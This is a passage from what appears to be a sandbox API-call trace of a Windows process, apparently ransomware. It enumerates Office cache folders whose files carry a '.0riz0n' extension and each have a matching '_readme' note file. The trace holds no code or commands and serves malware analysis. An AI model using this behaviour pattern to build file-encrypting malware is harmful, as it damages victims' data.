cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x390ccef0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x390ccef0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c01c430, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c01c430, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c0b49b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c0b49b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0139.752] GetLastError () returned 0x12 [0139.752] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x8390a0 [0139.753] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3c0b49b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39080c30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x39080c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x390ccef0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x390ccef0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c01c430, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c01c430, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c0b49b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.753] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c0b49b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0139.753] GetLastError () returned 0x12 [0139.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0139.753] FindClose (in: hFindFile=0x8390a0 | out: hFindFile=0x8390a0) returned 1 [0139.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0139.754] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3cdf2410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.754] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3cdf2410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.803] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0139.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.803] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0139.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.803] NtClose (Handle=0x194) returned 0x0 [0139.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0139.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0139.803] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x81fcd8 [0139.852] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3cdf2410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.863] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c3ae530, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c3ae530, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c3d4690, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c3d4690, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd7fff0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3cd7fff0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cdf2410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0139.864] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cdf2410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0139.865] GetLastError () returned 0x12 [0139.865] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x8390a0 [0139.865] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3cdf2410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c3ae530, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c3ae530, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c3d4690, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3c3d4690, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, 